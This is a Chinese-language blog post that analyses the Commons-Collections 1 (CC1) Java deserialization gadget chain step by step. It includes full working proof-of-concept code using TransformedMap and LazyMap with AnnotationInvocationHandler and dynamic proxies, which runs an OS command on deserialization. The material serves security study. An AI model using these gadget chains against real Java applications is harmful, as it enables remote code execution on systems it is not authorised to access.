一开始不打算放上来的,但是想着如果要写分析过程的话放在语雀不太合适,不如放博客得了,即使可能没人看hhh
漏洞概述
CC1全称Commons-Collections1,是利用了Apache Commons项目中Commons-Collections库的一个反序列化漏洞,所以commons-collections组件反序列化漏洞的反射链也称为CC链
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
环境要求:jdk < 8u71&&CommonsCollections <= 3.2.1
p牛纯净版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map;
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc","-a","Calculator"}}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("xxxx", "xxxx"); } }
|
学一个东西要有自己的思考,不要一上来就去看教程,这样学到东西不仅仅是知识!即使这一点我相信大多数人都明白:特别是在高中的时候,写一道数学题几乎没有人不是先自己去做一遍才看答案的。但是我发现如今大多数人太急功近利失去了这一点。好了闲话少说。
运行上面的代码弹出了计算器,这是为什么呢?
首先分析:
1 2 3 4 5
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc","-a","Calculator"}}), };
|
定义了一个Transformer类型的数组
Transformer这玩意不知道是什么跟进一下:

就是一个接口,那么数组里面的东西要能是Transformer类型的元素必然是实现了这个接口,而且是实例化的对象,所以下一步就是跟进这两个对象,要特别关注的就是这俩重写的方法transform
先看ConstantTransformer

可以看到这里无论这个重写的方法接受任何参数,返回值在创建对象的时就已经确定了,就是Runtime.getRuntime(),众所周知这个对象是有名的可以命令执行的对象
再看InvokerTransformer,这家伙接受了三个参数

关键自然就是看:
1 2 3 4 5
| try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); }
|
transform的形参是名为input的对象,那么cls就是input的class对象,method其实就是通过反射去获取input这个对象的方法,getMethod方法的第一个参数是要获取的方法名,对应的实际值就是exec,第二个参数是为了破除重载带来的分歧,在Java中支持类的重载,我们不能仅通过函数名来确定一个函数。所以,在调用getMethod的时候,我们需要传给他你需要获取的函数的参数类型列表。也就是这里的new Class[]{String[].class}
这里我们来认识一下这个方法接受的参数

关键是第二个你会发现是个可变长的一个参数,那么对应前面的new Class[]{},所以对应exec的形参其实是String[]

我们跟进一下

继续跟进

这里来到了java里面可以命令执行的第二个玩意ProcessBuilder,这里也算是让我知道了exec的底层原来是这玩意没必要跟进下去的必要了!
继续回到InvokerTransformer最后就是:
1
| return method.invoke(input, this.iArgs);
|
就是方法的出触发了,到这里其实我就已经明白了一件事情,后面的要分析的代码其实就是在将ConstantTransformer的transform方法的返回值给到InvokerTransformer的transform方法的实参然后再调用它

所以整个cc1其实非常简单就是在干这么件事儿,那么我们接着看后面是怎么玩的!
1
| Transformer transformerChain = new ChainedTransformer(transformers);
|
前面的数组给到ChainedTransformer的构造方法,跟进看看这个类

这里如果调用其transform方法的话,其实就是在遍历调用

这个数组里面对象的transform方法,且前一个返回的object会给到后一个transform方法的形参
1 2 3
| Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("xxxx", "xxxx");
|
然后创建了一个HashMap对象,这个简单理解就是键值对存储。接着调用了一个装饰器,可以跟进看看

返回一个实例化的TransformedMap对象成功进行装饰。接着来到最后环节,调用了里面的put方法

一开是接受的key和value是随便乱给的字符串,所以这里去看看transformKey和transformValue

因为keyTransformer为null,所以去看transformValue,此时valueTransformer是

所以这里其实就是调用了ChainedTransformer的transform方法,而这个方法我们前面说过:前一个返回的object会给到后一个transform方法的形参,所以链子不就起来了吗!
简单总结一下就是:outerMap.put→ChainedTransformer:transform→ConstantTransformer:transform→InvokerTransformer:transform
上面触发漏洞的核心在put,那么在实际的反序列化中我们就需要找一个类,它在反序列化的readObject逻辑里有类似的写入操作。
这个类就是sun.reflect.annotation.AnnotationInvocationHandler

在POC里面这里的meberValues就是我们反序列化后得到的Map,也是经过了TransformedMap修饰的对象就是我们demo里面的outerMap,然后setValue这里会充当原来demo里面的put的作用。那么接下来我们来分析一波。
因为调用的是memberValue的setValue,所以得知道它是什么!
先看看这个:memberValues.entrySet(),简单跟进可以发现调用的是:TransformedMap父类AbstractInputCheckedMapDecorator的entrySet方法

可以发现返回的是EntrySet这个对象(内部类的实例),跟进:

所以memberValues.entrySet()简单来说就是这个EntrySet对象,然后再来看memberValue
1
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
|
for-each其实底层使用的迭代器Iterator来遍历,可以等价为:
1 2 3 4
| for (Iterator<Map.Entry<String, Object>> it = memberValues.entrySet().iterator(); it.hasNext(); ) { Map.Entry<String, Object> entry = it.next(); }
|
所以memberValue其实就是MapEntry

跟进

成功看到setValue
1 2 3 4
| public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }
|
简单追溯一下this.parent发现其实就是:outerMap。那么不就是调用outerMap的checkSetValue方法嘛!
概述一下
到这也就是说如果output给到meberValues的时候,在满足一些条件,即可以达到setValue那里!
ok接下来我们来编写POC!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map; import java.lang.reflect.Constructor; import java.lang.annotation.Retention;
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[] {new String[]{"calc","-a","Calculator"}}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
innerMap.put("value", "rufeii"); Map<String, Object> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(obj); oos.close(); ByteArrayInputStream unbarr = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(unbarr); ois.readObject(); } }
|
结合demo配合食用!
关于POC的两点说明:
一,Runtime本身不能序列化因为没实现java.io.Serializable接口,但是可以通过通过反射
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[] {new String[]{"calc","-a","Calculator"}}), };
|
二,就是如何触发到setValue?直接给结论:
1.sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
2.被TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
所以POC里面有:
1 2
| innerMap.put("value", "rufeii"); Object obj = construct.newInstance(Retention.class, outerMap);
|
LazyMap编写POC
阅读ysoserial的源码你会发现它用的并不是TransformedMap,而是LazyMap。那么LazyMap是什么呢?
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform方法去获取一个值
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
但是问题在于如何调用就这里的get?答案是AnnotationInvocationHandler类的invoke方法有调用到get

那么又如何能调用到AnnotationInvocationHandler#invoke呢?ysoserial的作者想到的是利用Java 的对象代理!
学过动态代理的同学都知道:Java动态代理的核心就是通过 Proxy.newProxyInstance() 在运行期生成一个实现了指定接口的代理类实例,所有方法调用都会被转发到你指定的 InvocationHandler.invoke()方法中。
那么回到这里只要我们创建一个AnnotationInvocationHandler实现了InvocationHandler的对象,并且创建一个动态代理对象,然后这个代理对象在调用任何一个方法不论存在与否就都会触发AnnotationInvocationHandler#invoke
所以,在上一章TransformedMap POC的基础上进行修改,首先使用LazyMap替换 TransformedMap:
1
| Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
然后再创建一个AnnotationInvocationHandler实现了InvocationHandler的对象,正好AnnotationInvocationHandler本身就实现了该接口,并且创建一个代理对象
1 2 3 4 5
| Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
|
所以这里只要让proxyMap去调用Map的任何方法!
但是这里我们的入口是:sun.reflect.annotation.AnnotationInvocationHandler#readObject
所以序列化的对象得是AnnotationInvocationHandler对象,那这里我们AnnotationInvocationHandler对这个proxyMap进行包裹不就两全其美了吗?
1
| handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
|

那这里的memberValues不就是proxyMap了吗?还调用了entrySet方法,就可以触发invoke了,那么接下来反序列化就好了呀。
完整poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import java.lang.reflect.Constructor; import java.lang.annotation.Retention;
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[] {new String[]{"calc","-a","Calculator"}}), };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); ByteArrayInputStream unbarr = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(unbarr); ois.readObject(); } }
|
概述一下
关键是如何触发get→如何去触发invoke?
动态代理proxyMap→通过包裹proxyMap→如何使得proxyMap去调用代理对象的方法?
答案是:反序列化触发readObject→proxyMap.entrySet()